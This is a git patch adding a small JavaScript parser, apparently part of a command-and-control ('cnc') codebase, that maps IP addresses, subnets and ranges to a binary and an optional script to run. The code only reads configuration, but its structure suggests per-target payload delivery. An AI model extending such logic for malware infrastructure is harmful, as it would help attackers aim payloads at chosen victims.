From e2d1d18715a7c5b80cce02a96b09a5d57de38072 Mon Sep 17 00:00:00 2001 From: spv Date: Sun, 4 May 2025 20:12:34 -0400 Subject: flawless victory --- cnc/lib/bd_parser.js | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 cnc/lib/bd_parser.js (limited to 'cnc/lib/bd_parser.js') diff --git a/cnc/lib/bd_parser.js b/cnc/lib/bd_parser.js new file mode 100644 index 0000000..01a557a --- /dev/null +++ b/cnc/lib/bd_parser.js @@ -0,0 +1,48 @@ +// block descriptor parser + +const fs = require('fs'); +const net = require('net'); + + +const block_regex = /(\d+.\d+.\d+.\d+)\/(\d+)/; +const range_regex = /(\d+.\d+.\d+.\d+)-(\d+.\d+.\d+.\d+)/; + +function parse_bd(bd_path) { + const bd = fs.readFileSync(bd_path, "utf8").split("\n"); + let all_bds = []; + + for (let s of bd) { + s = s.includes("#") ? s.slice(0, s.indexOf("#")) + : s; + + if (s == "") continue; + + let ip_desc = s.slice(0, s.indexOf(":")); + let ips = ip_desc.split(","); + let [bin, run_when] = s.slice(s.indexOf(":") + 1).split(","); + + let blocklist = new net.BlockList(); + + for (let ip of ips) { + if (ip.includes("/")) { + let match = ip.match(block_regex); + + blocklist.addSubnet(match[1], parseInt(match[2])); + } else if (ip.includes("-")) { + let match = ip.match(range_regex); + + console.log(match[1], match[2]); + + blocklist.addRange(match[1], match[2]); + } else { + blocklist.addAddress(ip); + } + } + + all_bds.push({block: blocklist, wrapped: fs.readFileSync(bin), js_to_run: run_when != "none" ? fs.readFileSync(run_when, "utf8") : null}) + } + + return all_bds; +} + +exports.parse_bd = parse_bd; \ No newline at end of file -- cgit v1.2.3